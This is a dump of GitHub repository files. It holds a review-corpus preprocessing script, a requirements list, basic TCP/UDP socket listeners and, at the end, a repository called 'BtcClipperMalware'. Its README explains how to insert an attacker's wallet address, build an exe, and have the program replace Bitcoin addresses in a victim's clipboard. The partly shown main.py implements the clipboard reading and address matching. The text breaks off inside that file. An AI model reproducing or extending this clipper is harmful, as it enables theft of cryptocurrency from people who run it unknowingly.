33.67241287231445, "blob_id": "45f547427de2edb346344ef9b15011d5c98822ee", "content_id": "5307fc6983137a3d6adc80475eceb7ebb1794bfe", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 4138, "license_type": "permissive", "max_line_length": 177, "num_lines": 116, "path": "/domain-adapted-atsc/prepare_laptop_reviews.py", "repo_name": "hedygithub/1011_Peoject", "src_encoding": "UTF-8", "text": "import json\r\nimport gzip\r\nimport spacy\r\nfrom tqdm import tqdm\r\nfrom utils import semeval2014term_to_aspectsentiment_hr\r\n\r\n# path to files\r\nfn = 'data/raw/reviews_Electronics.json.gz'\r\nfn_meta = 'data/raw/meta_Electronics.json.gz'\r\n\r\nnlp = spacy.load('en_core_web_sm')\r\nnlp.add_pipe(nlp.create_pipe('sentencizer'))\r\n\r\ndef sentence_segment_filter_docs(doc_array):\r\n sentences = []\r\n\r\n for doc in nlp.pipe(doc_array, disable=['parser', 'tagger', 'ner'], batch_size=1000, n_threads=8):\r\n sentences.append([sent.text.strip() for sent in doc.sents])\r\n\r\n return sentences\r\n\r\n\r\n# import metadata and create a array of laptop related asins\r\nasins_laptops = []\r\n# all_cats = set([])\r\n\r\nwith gzip.open(fn_meta, 'rb') as file: #Hedy add rb, because we use new dataset\r\n limit = 100000000\r\n counter = 0\r\n for line in file:\r\n review = eval(line)\r\n # review = json.dumps(eval(line))\r\n # print(review)\r\n # Hedy change 'categories' to 'main_cat', change 'Laptops' to 'Comupters', because we use new dataset\r\n if 'main_cat' in review: # in #review = json.loads(line)\r\n cats = review['main_cat']\r\n if 'Computers' in cats:\r\n asins_laptops.append(review['asin'])\r\n # all_cats.update(cats)\r\n # if 'categories' in review: # in #review = json.loads(line)\r\n # cats = review['categories'][0]\r\n # if 'Laptops' in cats:\r\n # asins_laptops.append(review['asin'])\r\n # # all_cats.update(cats)\r\n counter += 1\r\n if counter == limit:\r\n break\r\nasins_laptops = set(asins_laptops)\r\nprint(f'Found {len(asins_laptops)} computer items')\r\n\r\n# get review documents\r\nreviews = []\r\n\r\nprint('Loading and Filtering Reviews')\r\nwith gzip.open(fn, 'rb') as file:\r\n limit = 10000000\r\n counter = 0\r\n for line in file:\r\n review = json.loads(line)\r\n # print(review['asin'])\r\n if review['asin'] in asins_laptops:\r\n if 'reviewText' in review:\r\n reviews.append(review['reviewText'])\r\n # print(review)\r\n counter += 1\r\n if counter % 1000 == 0 and counter >= 1000:\r\n pass #print(counter, end=' ')\r\n if counter == limit:\r\n break\r\n\r\nprint(f'Found {len(reviews)} computer reviews')\r\n\r\nprint(f'Tokenizing computer Reviews...')\r\n\r\nsentences = sentence_segment_filter_docs(reviews)\r\nnr_sents = sum([len(s) for s in sentences])\r\nprint(f'Segmented {nr_sents} computer sentences')\r\n\r\n# Save to file\r\nmax_sentences = int(25e6)\r\nfn_out = f'data/transformed/laptop_corpus_{nr_sents}.txt'\r\n\r\n# filter sentences by appearance in the semeval dataset\r\n\r\nsents_semeval_train, _, _ = semeval2014term_to_aspectsentiment_hr(\"data/raw/semeval2014/SemEval-2014 ABSA Test Data - Gold Annotations/ABSA_Gold_TestData/Laptops_Test_Gold.xml\")\r\nsents_semeval_test, _, _ = semeval2014term_to_aspectsentiment_hr(\"data/raw/semeval2014/SemEval-2014 ABSA Train Data v2.0 & Annotation Guidelines/Laptop_Train_v2.xml\")\r\nsents_all = set(sents_semeval_train + sents_semeval_test)\r\n\r\nremoved_reviews_count = 0\r\nwith open(fn_out, \"w\") as f:\r\n sent_count = 0\r\n\r\n for sents in tqdm(sentences):\r\n real_sents = []\r\n for s in sents:\r\n x = s.replace(' ', '').replace('\\n', '')\r\n if x != '':\r\n s_sanitized = s.replace('\\n', '')\r\n if s_sanitized not in sents_all:\r\n real_sents.append(s_sanitized)\r\n else:\r\n removed_reviews_count+=1\r\n print(\"Found sentence in SemEval Dataset! Filtering out the whole review...\")\r\n print(s_sanitized)\r\n real_sents = []\r\n break\r\n if len(real_sents) >= 2:\r\n sent_count += len(real_sents)\r\n str_to_write = \"\\n\" + \"\\n\".join(real_sents) + \"\\n\"\r\n f.write(str_to_write)\r\n\r\n if sent_count >= max_sentences:\r\n break\r\n\r\nprint(f'Removed {removed_reviews_count} reviews due to overlap with SemEval Laptops Dataset ')\r\nprint(f'Done writing to {fn_out}')\r\n" }, { "alpha_fraction": 0.47120919823646545, "alphanum_fraction": 0.6554702520370483, "avg_line_length": 15.661017417907715, "blob_id": "c2214bf21ecddb59101d2484a021aa7673d0cdf9", "content_id": "d1ba89493e1dc343e5d8cf2220c384daa62eda2b", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Text", "length_bytes": 1042, "license_type": "permissive", "max_line_length": 25, "num_lines": 59, "path": "/domain-adapted-atsc/requirements.txt", "repo_name": "hedygithub/1011_Peoject", "src_encoding": "UTF-8", "text": "attrs==19.1.0\r\nbackcall==0.1.0\r\nbleach==3.1.4\r\nblis==0.2.4\r\ncertifi==2019.6.16\r\nchardet==3.0.4\r\ncymem==2.0.2\r\ndecorator==4.4.0\r\ndefusedxml==0.6.0\r\nentrypoints==0.3\r\nidna==2.8\r\nipykernel==5.1.1\r\nipython==7.6.1\r\nipython-genutils==0.2.0\r\nipywidgets==7.5.0\r\njedi==0.14.1\r\nJinja2==2.10.1\r\njsonschema==3.0.1\r\njupyter==1.0.0\r\njupyter-client==5.3.1\r\njupyter-console==6.0.0\r\njupyter-core==4.5.0\r\nMarkupSafe==1.1.1\r\nmistune==0.8.4\r\nmurmurhash==1.0.2\r\nnbconvert==5.5.0\r\nnbformat==4.4.0\r\nnotebook==6.0.0\r\nnumpy==1.16.4\r\npandocfilters==1.4.2\r\nparso==0.5.1\r\npexpect==4.7.0\r\npickleshare==0.7.5\r\nplac==0.9.6\r\npreshed==2.0.1\r\nprometheus-client==0.7.1\r\nprompt-toolkit==2.0.9\r\nptyprocess==0.6.0\r\nPygments==2.4.2\r\npyrsistent==0.15.3\r\npython-dateutil==2.8.0\r\npyzmq==18.0.2\r\nqtconsole==4.5.2\r\nrequests==2.22.0\r\nSend2Trash==1.5.0\r\nsix==1.12.0\r\nspacy==2.1.6\r\nsrsly==0.0.7\r\nterminado==0.8.2\r\ntestpath==0.4.2\r\nthinc==7.0.8\r\ntornado==6.0.3\r\ntqdm==4.32.2\r\ntraitlets==4.3.2\r\nurllib3==1.25.3\r\nwasabi==0.2.2\r\nwcwidth==0.1.7\r\nwebencodings==0.5.1\r\nwidgetsnbextension==3.5.0\r\n" } ]
5
tentacool9/tailor
https://github.com/tentacool9/tailor
fac85434b04b76585e6a9692cc6bfb318dad4ed1
5a0c20e0b9d66ef00bb5332a0dcc3328a9eb30d2
cb0195d3d13b4a34daf8f4b3309f18abd91d2699
refs/heads/master
2020-08-06T20:07:58.050751
2019-10-06T14:36:29
2019-10-06T14:36:29
213,135,234
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.686274528503418, "alphanum_fraction": 0.7549019455909729, "avg_line_length": 19.399999618530273, "blob_id": "1ef6f7cefd1630e60e7de6b17746106d8b74d319", "content_id": "de6d1e07e29c390a7ddbb6a6e7ca6db92963f78c", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 102, "license_type": "no_license", "max_line_length": 46, "num_lines": 5, "path": "/tailorswift/swiftlistener.py", "repo_name": "tentacool9/tailor", "src_encoding": "UTF-8", "text": "from tcp_listener import TcpListen\n\n\nlistener = TcpListen(0, 1, 'localhost', 14000)\nlistener.listen()\n" }, { "alpha_fraction": 0.4968858063220978, "alphanum_fraction": 0.5024221539497375, "avg_line_length": 33.404762268066406, "blob_id": "17ae5533b19f04e8b9fed8a487a6831d4ef4ad99", "content_id": "4d80b5e55f7506a426e585a64a3ffbb85fdef6f0", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1445, "license_type": "no_license", "max_line_length": 72, "num_lines": 42, "path": "/tailorswift/tcp_listener.py", "repo_name": "tentacool9/tailor", "src_encoding": "UTF-8", "text": "import socket\nimport sys\nimport time\n\n\nclass TcpListen:\n def __init__(self, write, listen_time, address, port):\n self.write = write\n self.listen_time = listen_time\n self.port = port\n self.address = address\n\n def listen(self):\n serversocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n bytesrecieved = 0\n # Assign IP address and port number to socket\n serversocket.bind((self.address, self.port))\n serversocket.listen(1)\n while True:\n # Wait for a connection\n print('waiting for a connection')\n connection, client_address = serversocket.accept()\n try:\n print(('connection from ' + client_address[0]))\n begin_time = time.time()\n\n # Receive the data in small chunks and retransmit it\n while True:\n data = connection.recv(64000)\n if data:\n bytesrecieved += len(data)\n print(data)\n else:\n print(\"data stream ended\")\n break\n if (time.time() - begin_time) > self.listen_time:\n print(\"listening period over\")\n break\n finally:\n # Clean up the connection\n print(bytesrecieved)\n connection.close()\n" }, { "alpha_fraction": 0.6806966662406921, "alphanum_fraction": 0.6908563375473022, "avg_line_length": 25.538461685180664, "blob_id": "3d1b1418108a42450539841ea0815e19a0d6ce3a", "content_id": "f9a3f24c6cd8132eff2cc4b49acb075cd1fc5d07", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 689, "license_type": "no_license", "max_line_length": 62, "num_lines": 26, "path": "/tailorswift/messages_server.py", "repo_name": "tentacool9/tailor", "src_encoding": "UTF-8", "text": "import socket\nimport sys\nimport time\n# Create a TCP/IP socket\nsock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n\n# Connect the socket to the port where the server is listening\nserver_address = ('localhost', 14000)\nprint(sys.stderr, 'connecting to %s port %s' % server_address)\nsock.connect(server_address)\n\ntry:\n\n # Send data\n message = 'This is the message. It will be repeated.'\n f = open(\"/home/david/Downloads/text\", \"r\")\n message = f.read()\n sock.sendall(message.encode('UTF-8'))\n # Look for the response\n amount_received = 0\n amount_expected = len(message)\n print(amount_expected)\n\nfinally:\n print (sys.stderr, 'closing socket')\n sock.close()" }, { "alpha_fraction": 0.8253968358039856, "alphanum_fraction": 0.8253968358039856, "avg_line_length": 20, "blob_id": "f3fcbbc9a5131084a8ad7d337361619ec27fa005", "content_id": "3eaf7c1e9d71981a367af34bf072785aa4d45541", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 63, "license_type": "no_license", "max_line_length": 52, "num_lines": 3, "path": "/README.md", "repo_name": "tentacool9/tailor", "src_encoding": "UTF-8", "text": "# Tailor\n\nData based architecture builder for RedHat Openshift\n" }, { "alpha_fraction": 0.6357894539833069, "alphanum_fraction": 0.6547368168830872, "avg_line_length": 26.882352828979492, "blob_id": "3288e9b9f2fb93a2c237da3930037026ae60bf6a", "content_id": "a37a6f6f6b3120822e6cdd8fc05a51ac3a87f4cc", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 475, "license_type": "no_license", "max_line_length": 78, "num_lines": 17, "path": "/tailorswift/udp_listener.py", "repo_name": "tentacool9/tailor", "src_encoding": "UTF-8", "text": "from socket import *\nclass udplisten:\n def __init__(self, write,listen_time):\n self.write = write\n self.listen_time = listen_time\n PORT = 12000\n\n\n def listen(self):\n serverSocket = socket(AF_INET, SOCK_DGRAM)\n\n # Assign IP address and port number to socket\n serverSocket.bind(('', self.PORT))\n\n while True:\n # Receive the client packet along with the address it is coming from\n message, address = serverSocket.recvfrom(1500)\n\n" } ]
5
Natchaya006/compile-python
https://github.com/Natchaya006/compile-python
493f250aa99411e0b869724c4ab615ed9cf2a2a3
b03010c28d85fe5378ba7625c5d4f1b3a7c88c3c
a327f01aad5c4d910603092629369654a9186e9c
refs/heads/master
2020-03-28T12:12:42.093447
2018-09-11T07:33:34
2018-09-11T07:33:34
148,278,586
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.7647058963775635, "alphanum_fraction": 0.7647058963775635, "avg_line_length": 16, "blob_id": "dbfd6951985b65853583474f1e488481938ebfe6", "content_id": "ecd3770457ac1aa5d7fbfce5f4f9569c809ebe72", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 17, "license_type": "no_license", "max_line_length": 16, "num_lines": 1, "path": "/README.md", "repo_name": "Natchaya006/compile-python", "src_encoding": "UTF-8", "text": "# compile-python\n" }, { "alpha_fraction": 0.5788146257400513, "alphanum_fraction": 0.5813366770744324, "avg_line_length": 21.02777862548828, "blob_id": "73092ec19f310161a63ddcb4804649be939515fd", "content_id": "3cb67ee9434741050c4617084e3b2778e2b809e3", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 793, "license_type": "no_license", "max_line_length": 49, "num_lines": 36, "path": "/app.py", "repo_name": "Natchaya006/compile-python", "src_encoding": "UTF-8", "text": "from flask import Flask, render_template, request\nimport sys\nfrom io import StringIO\nimport contextlib\n\napp = Flask(__name__)\n\[email protected]('/')\ndef index():\n return render_template('index.html')\n\[email protected]\ndef stdoutIO(stdout=None):\n old = sys.stdout\n if stdout is None:\n stdout = StringIO()\n sys.stdout = stdout\n yield stdout\n sys.stdout = old\n\n\[email protected]('/', methods=['POST'])\ndef getDataToCompile():\n with stdoutIO() as s:\n result = ''\n try:\n exec(request.form['input'])\n except:\n import traceback\n err = traceback.format_exc()\n out = err.split(', ')\n result = out[3] + ' ' + out[4]\n return s.getvalue() + result\n\nif __name__ == '__main__':\n app.run(debug=True)\n" } ]
2
zeroalphat/screenshot_pyqt
https://github.com/zeroalphat/screenshot_pyqt
360be1f694b31745a8f81591293144c9494f25da
3ab5e2b6d409ed99bca4b41145618b911036020c
97fbabc54fc6b696b3bd3375ef1ca1d6722424cc
refs/heads/master
2020-02-05T14:00:21.463444
2017-08-10T02:56:05
2017-08-10T02:56:05
97,447,174
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.610909104347229, "alphanum_fraction": 0.6129870414733887, "avg_line_length": 24.013513565063477, "blob_id": "9ae56bfd543f0c40a3c4365953b9384af514f251", "content_id": "2da0c4eb3109f129407b1bc8eadbd6ff9ef84de5", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2087, "license_type": "no_license", "max_line_length": 79, "num_lines": 74, "path": "/twi.py", "repo_name": "zeroalphat/screenshot_pyqt", "src_encoding": "UTF-8", "text": "#-*- coding:utf-8 -*-\r\n#twitter api keyを用いて、テキストボックスの内容をツイートする\r\n#ツイートボタンを押されるとずっと投稿する\r\n\r\n\r\nimport sys\r\nfrom PyQt5 import QtCore\r\nfrom PyQt5.QtWidgets import *\r\nfrom PyQt5.QtCore import QCoreApplication\r\nimport webbrowser\r\nimport tweepy\r\n\r\n\r\n\r\n\r\nclass TweetWindow(QWidget):\r\n def __init__(self, parent=None):\r\n super(TweetWindow, self).__init__(parent)\r\n #self.initTwitterAccount()\r\n self.initLayout()\r\n\r\n\r\n def initLayout(self):\r\n textbox = QPlainTextEdit()\r\n button = QPushButton()\r\n button.setText('Tweet')\r\n #ボタンがクリックされると、テキストボックスの内容をツイート\r\n button.clicked.connect(lambda: self.tweet(textbox.toPlainText()))\r\n button_exit = QPushButton()\r\n button_exit.setText('Quit')\r\n button_exit.clicked.connect(QCoreApplication.instance().quit)\r\n\r\n\r\n layout = QVBoxLayout()\r\n layout.addWidget(textbox)\r\n layout.addWidget(button)\r\n layout.addWidget(button_exit)\r\n\r\n self.setLayout(layout)\r\n\r\n def initTwitterAccount(self):\r\n CONSUMER_KEY = \"\"\r\n CONSUMER_SECRET = \"\"\r\n auth = tweepy.OAuthHandler(CONSUMER_KEY, CONSUMER_SECRET)\r\n\r\n redirect_url = auth.get_authorization_url()\r\n #認証画面を表示する\r\n webbrowser.open(redirect_url)\r\n\r\n verifier, ok = QInputDialog.getText(None, 'PIN code', 'input pin code')\r\n verifier = verifier.strip()\r\n\r\n auth.get_access_token(verifier)\r\n ACCESS_TOKEN = auth.access_token\r\n ACCESS_SECRET = auth.access_token_secret\r\n\r\n auth.set_access_token(ACCESS_TOKEN, ACCESS_SECRET)\r\n self.api = tweepy.API(auth)\r\n\r\n def tweet(self, text):\r\n try:\r\n req = self.api.update_status(text)\r\n except Exception as error:\r\n print(error)\r\n\r\n\r\n\r\n\r\n\r\nif __name__ == \"__main__\":\r\n app = QApplication(sys.argv)\r\n window = TweetWindow()\r\n window.show()\r\n sys.exit(app.exec_())\r\n" }, { "alpha_fraction": 0.5937916040420532, "alphanum_fraction": 0.6075388193130493, "avg_line_length": 23.247312545776367, "blob_id": "773c344e89b141c5f0fc0a4ae042afcb321c87ff", "content_id": "37f986f04bef8bd3a2cd2ff5c8b892291f296750", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2311, "license_type": "no_license", "max_line_length": 79, "num_lines": 93, "path": "/snap.py", "repo_name": "zeroalphat/screenshot_pyqt", "src_encoding": "UTF-8", "text": "import pyautogui\nimport sys\nfrom PyQt5 import QtCore\nfrom PyQt5.QtWidgets import *\nfrom PyQt5.QtGui import QFont, QPixmap, QImage\nfrom PyQt5.QtCore import QCoreApplication\nimport webbrowser\nimport tweepy\n\n\n\nclass MainWindow(QWidget):\n def __init__(self, parent=None):\n super(MainWindow, self).__init__(parent)\n self.initLayout()\n #self.initTwitterAccount()\n\n\n def initLayout(self):\n\n #xxx\n self.lb1 = QLabel(self)\n btn1 = QPushButton(\"screenshot\")\n btn1.clicked.connect(self.button01Clicked)\n btn2 = QPushButton('tweet')\n btn2.clicked.connect(self.initTwitterAccount)\n\n\n layout = QVBoxLayout()\n layout.addWidget(self.lb1)\n layout.addWidget(btn1)\n layout.addWidget(btn2)\n\n\n self.setLayout(layout)\n\n def button01Clicked(self):\n sender = self.sender()\n image = pyautogui.screenshot()\n image.save('my.png')\n pixmap = QPixmap('my.png')\n pixmap = pixmap.scaled(500, 300)\n self.lb1.setPixmap(pixmap)\n self.lb1.resize(400, 500)\n\n def initTwitterAccount(self):\n CONSUMER_KEY = \"\"\n CONSUMER_SECRET = \"\"\n auth = tweepy.OAuthHandler(CONSUMER_KEY, CONSUMER_SECRET)\n\n redirect_url = auth.get_authorization_url()\n #認証画面を表示する\n webbrowser.open(redirect_url)\n\n verifier, ok = QInputDialog.getText(None, 'PIN code', 'input pin code')\n verifier = verifier.strip()\n\n auth.get_access_token(verifier)\n ACCESS_TOKEN = auth.access_token\n ACCESS_SECRET = auth.access_token_secret\n\n auth.set_access_token(ACCESS_TOKEN, ACCESS_SECRET)\n self.api = tweepy.API(auth)\n\n try:\n #textの内容を帰れるようにする\n text = \"\"\n #画像を投稿する\n req = self.api.update_with_media(filename='my.png',status=text)\n print(\"tweet success!\")\n exit(1)\n except Exception as error:\n print(error)\n\n\n\n\n\n\n\nif __name__ == '__main__':\n app = QApplication(sys.argv)\n main_window = MainWindow()\n main_window.show()\n sys.exit(app.exec_())\n\n\n\nif __name__ == '__main__':\n app = QApplication(sys.argv)\n main_window = MainWindow()\n main_window.show()\n sys.exit(app.exec_())\n" }, { "alpha_fraction": 0.8478260636329651, "alphanum_fraction": 0.8478260636329651, "avg_line_length": 22, "blob_id": "82e56e678324aaf2ebd30cf8d3e93bab25bad4d7", "content_id": "1772a81de1ec444d9d648aacd3ce9ea8c91c66a4", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 82, "license_type": "no_license", "max_line_length": 27, "num_lines": 2, "path": "/README.md", "repo_name": "zeroalphat/screenshot_pyqt", "src_encoding": "UTF-8", "text": "# screenshot_pyqt\n スクリーンショットをtwitterに投稿するソフト\n" } ]
3
chigogiggs/melissaidea
https://github.com/chigogiggs/melissaidea
42ab7ea9092e16255da6f314c44352bd33974dbb
2bf72b5c6f2dc0f3ab6356d8afaae2d00bdd4711
8b560743b310d495e44f6af9aaa9a770d137b668
refs/heads/master
2021-01-23T03:47:47.866852
2017-03-25T00:47:05
2017-03-25T00:47:05
86,122,107
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.43174639344215393, "alphanum_fraction": 0.45295578241348267, "avg_line_length": 30.105262756347656, "blob_id": "e7b76f293aaaf8c01496b1941e6debecfbe5a9be", "content_id": "2e308c38aa3d6395d099b92a4b29d476997cc8eb", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 8864, "license_type": "no_license", "max_line_length": 95, "num_lines": 285, "path": "/backup.py", "repo_name": "chigogiggs/melissaidea", "src_encoding": "UTF-8", "text": "import pygame\nimport sys, random,time\nfrom pygame.locals import *\n\nrandomnumbers = [random.randrange(1, 100, 1) for _ in range(int(42 / 2))]\nrandomnumbers2 = randomnumbers.copy()\nrandom.shuffle(randomnumbers)\ntotnum = randomnumbers2+randomnumbers\nidentitylist = [random.randrange(101, 200, 1) for ___ in range(int(42))]\ntilelist = []\nwidth, height = 800, 700\nsize = (width, height)\n# init your pygame\npygame.init()\nscreen = pygame.display.set_mode(size, DOUBLEBUF)\nflags = screen.get_flags()\nclock = pygame.time.Clock()\n\nclickcheck =0\nclass Tiles():\n def __init__(self, number,switch,show,colo = 'red'):\n self.id = number\n self.switch = switch\n self.show = show\n self.color = colo\n self.identity = random.choice(identitylist)\n identitylist.remove(self.identity)\n self.life = 'alive'\n self.blue = 0\n\n def getIdentity(self):\n return self.identity\n def killl(self):\n self.life = 'dead'\n\n def unsetBlue(self):\n if self.blue == 1:\n self.blue = 0\n\n print('blue off')\n\n def getlife(self):\n return self.life\n\n def getID(self):\n return self.id\n\n def setcol(self,col):\n self.color = col\n\n def setBlue(self):\n self.blue = 1\n print('blue on')\n\n def shownumber(self):\n if self.show == 0:\n self.show = 1\n print('on')\n def dontshownumber(self):\n if self.show == 1:\n self.show= 0\n print('off')\n\n def switchstatusoff(self):\n if self.switch == 0:\n self.switch = 1\n\n def writee(self,text,pos):\n text = str(text)\n font = pygame.font.SysFont('Lucida Grande', 36)\n text = font.render(text, 1, (255, 255, 255))\n screen.blit(text, pos)\n def drawTile(self,x, y ):\n self.x = x\n # self.switch = switch\n color = self.color\n self.y = y\n if color == 'red':\n loadtile = pygame.image.load('redtile.png')\n if self.switch == 1:\n loadtile = loadtile.convert()\n loadtile.set_alpha(0)\n\n loadtile = pygame.transform.scale(loadtile, (100, 100))\n screen.blit(loadtile, (self.x, self.y))\n if color == 'green':\n loadtile = pygame.image.load('greentile.png')\n if self.switch == 1:\n loadtile = loadtile.convert()\n loadtile.set_alpha(0)\n\n\n loadtile = pygame.transform.scale(loadtile, (100, 100))\n screen.blit(loadtile, (self.x, self.y))\n\n #\n # if color == 'blue':\n # loadtile = pygame.image.load('blue.png')\n # if self.switch == 1:\n # loadtile = loadtile.convert()\n # loadtile.set_alpha(0)\n #\n # loadtile = pygame.transform.scale(loadtile, (100, 100))\n # screen.blit(loadtile, (self.x, self.y))\n if self.blue == 1:\n loadtile = pygame.image.load('blue.png')\n\n if self.switch == 1:\n loadtile = loadtile.convert()\n loadtile.set_alpha(0)\n\n loadtile = pygame.transform.scale(loadtile, (100, 100))\n screen.blit(loadtile, (self.x, self.y))\n\n\n if color == 'white':\n loadtile = pygame.image.load('whitetile.png')\n if self.switch == 1:\n loadtile = loadtile.convert()\n loadtile.set_alpha(0)\n\n loadtile = pygame.transform.scale(loadtile, (100, 100))\n screen.blit(loadtile, (self.x, self.y))\n\n if self.show == 1:\n self.writee(self.id,(self.x+25,self.y+25))\n\n\n return self.x,self.y\n\n\nfor i in totnum:\n tilelist.append(Tiles(i,0,0))\n\nbg = pygame.image.load('bg.jpg')\nbg = pygame.transform.scale(bg, (700, 600))\n\nmatchinglist = []\n\n\ndef set_init_fullScreen():\n global flags\n if flags & FULLSCREEN == False:\n flags |= FULLSCREEN\n pygame.display.set_mode(size, flags)\nsamecheck = []\nsamecheck2 = []\nexilee = []\ntobered = []\ndef mainLoop():\n timer = 0\n global flags,timer\n while True:\n timer += 1\n # print(timer)\n if timer >= 50:\n\n timer=0\n try:\n if len(tobered) %2 == 0:\n print('TIMER!!')\n tobered[0].unsetBlue()\n tobered[1].unsetBlue()\n tobered[0].dontshownumber()\n tobered[1].dontshownumber()\n tobered.pop(0)\n tobered.pop(0)\n except Exception as e:\n print(e)\n\n global clickcheck\n tilex, tiley = 50,50\n global tiley,tilex\n clock.tick(60)\n screen.fill((255, 255, 80))\n screen.blit(bg, (50, 50))\n for event in pygame.event.get():\n if event.type == pygame.QUIT:\n pygame.quit()\n if event.type == KEYDOWN:\n if event.key == K_ESCAPE:\n pygame.quit()\n flags ^= FULLSCREEN\n pygame.display.set_mode(size, flags)\n elif event.key ==K_f:\n if flags&FULLSCREEN==False:\n flags|=FULLSCREEN\n pygame.display.set_mode(size, flags)\n else:\n flags^=FULLSCREEN\n pygame.display.set_mode(size, flags)\n mouse = pygame.mouse.get_pos()\n mousepressed = pygame.mouse.get_pressed()\n # print(mousepressed)\n\n for tile in tilelist:\n tileindex = tilelist.index(tile)\n oldtile = tilelist[tileindex-1]\n oldtile2 = tilelist[tileindex-2]\n\n\n\n\n if mouse[0] in range(tilex, tilex + 100) and mouse[1] in range(tiley, tiley + 100):\n\n tile.setcol( 'green')\n\n if mousepressed[0] == 1:\n # try:\n\n print('--------------------------------')\n identity = tile.getIdentity()\n idd = tile.getID()\n life = tile.getlife()\n tile.shownumber()\n if life == 'alive':\n samecheck.append(identity)\n samecheck2.append(identity)\n matchinglist.append(idd)\n exilee.append(tile)\n print('identity',idd,'=', identity)\n print('matchlist ',matchinglist)\n\n tile.setcol('white')\n tile.setBlue()\n print('samecheck ',samecheck)\n\n try:\n if len(samecheck) > 1:\n if samecheck[-1] == samecheck[-2]:\n print('poping ', matchinglist[-1])\n samecheck.pop(-1)\n matchinglist.pop(-1)\n exilee.pop(-1)\n print('new matchinglist ', matchinglist)\n\n except IndexError:\n pass\n\n if len(matchinglist) == 2:\n if matchinglist[0] == matchinglist[1]:\n print('exile ', len(exilee))\n exilee[1].shownumber()\n exilee[0].shownumber()\n time.sleep(0.3)\n exilee[1].switchstatusoff()\n exilee[0].switchstatusoff()\n exilee[1].killl()\n exilee[0].killl()\n exilee[:] = []\n samecheck[:] = []\n samecheck2[:] = []\n try:\n tobered[0].unsetBlue()\n tobered[1].unsetBlue()\n except:pass\n else:\n print('sent to tobered')\n tobered.append(exilee[0])\n tobered.append(exilee[1])\n print(len(tobered))\n\n\n if len(matchinglist) == 2:\n matchinglist[:] = []\n if len(samecheck) ==2:\n samecheck[:] = []\n\n else:\n tile.setcol('red')\n tile.drawTile(tilex, tiley )\n tilex += 100\n\n\n if (tilex-50)%700 ==0:\n tiley += 100\n tilex = 50\n if len(exilee) == 2:\n exilee[:] = []\n\n pygame.display.update()\n\n# tile('red')\n# set_init_fullScreen()\nmainLoop()" } ]
1
dives121/BtcClipperMalware
https://github.com/dives121/BtcClipperMalware
e8502e1ea0e714427c5ebe2ddbdcbc511e7fa21b
1a73850360026b1615aed0fa83b789b8724d685a
38392728f5bffbcdd71422382d7eae8b9c339ab0
refs/heads/master
2023-07-02T07:12:34.049138
2021-08-08T22:00:42
2021-08-08T22:00:42
null
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.7478991746902466, "alphanum_fraction": 0.7591036558151245, "avg_line_length": 43.625, "blob_id": "3895c05c98194e20e0ed6b01213413e79fc1d85c", "content_id": "645c9d0ec9a1f586247fdf1e5e3b7a8a4e474265", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 718, "license_type": "no_license", "max_line_length": 123, "num_lines": 16, "path": "/readme.md", "repo_name": "dives121/BtcClipperMalware", "src_encoding": "UTF-8", "text": "<img src=\"https://img.shields.io/github/watchers/Rdimo/BtcClipperMalware?color=ffff00&label=Watchers\" alt=\"shield.png\"></a>\n<img src=\"https://img.shields.io/github/stars/Rdimo/BtcClipperMalware?color=ffff00&label=Stars\" alt=\"shield.png\"></a>\n\n#### BtcClipperMalware was made by\nLove ❌\ncode ✅\n\n### How to use\n1. Change BtcAddy on line 7 to your wallet address.\n2. additionally convert the file to an exe by opening exe.bat\n- to change the name of the exe just edit exe.bat and replace Test with the name you want\n\n\n#### How it works\nIt checks the persons clipboard if it contains a possible bitcoin address\nif the person has that in their cliboard, it's gonna replace that address with the one you put in on line 7\n" }, { "alpha_fraction": 0.5535014271736145, "alphanum_fraction": 0.5753501653671265, "avg_line_length": 27.33333396911621, "blob_id": "aa31c0e483f7ad4bfa405006d4013b3320155491", "content_id": "f476124333ec0c1fb77366722421efa8b5d8096d", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1785, "license_type": "no_license", "max_line_length": 81, "num_lines": 63, "path": "/main.py", "repo_name": "dives121/BtcClipperMalware", "src_encoding": "UTF-8", "text": "from time import sleep\nimport subprocess\nimport ctypes\nimport re\nimport os\n\nBtcAddy = \"YOUR_BTC_ADRESS_HERE\"\n\nclass Clipboard:\n def __init__(self):\n self.kernel32 = ctypes.windll.kernel32\n self.kernel32.GlobalLock.argtypes = [ctypes.c_void_p]\n self.kernel32.GlobalLock.restype = ctypes.c_void_p\n self.kernel32.GlobalUnlock.argtypes = [ctypes.c_void_p]\n self.user32 = ctypes.windll.user32\n self.user32.GetClipboardData.restype = ctypes.c_void_p\n \n def __enter__(self):\n self.user32.OpenClipboard(0)\n if self.user32.IsClipboardFormatAvailable(1):\n data = self.user32.GetClipboardData(1)\n data_locked = self.kernel32.GlobalLock(data)\n text = ctypes.c_char_p(data_locked)\n value = text.value\n self.kernel32.GlobalUnlock(data_locked)\n \n try:\n return value.decode()\n \n except Exception as e:\n return ''\n\n def __exit__(self, exc_type, exc_value, exc_traceback):\n self.user32.CloseClipboard()\n\nclass Methods:\n regex = '^(bc1|[13])[a-zA-HJ-NP-Z0-9]+'\n\n @staticmethod\n def set_clipboard(text):\n return 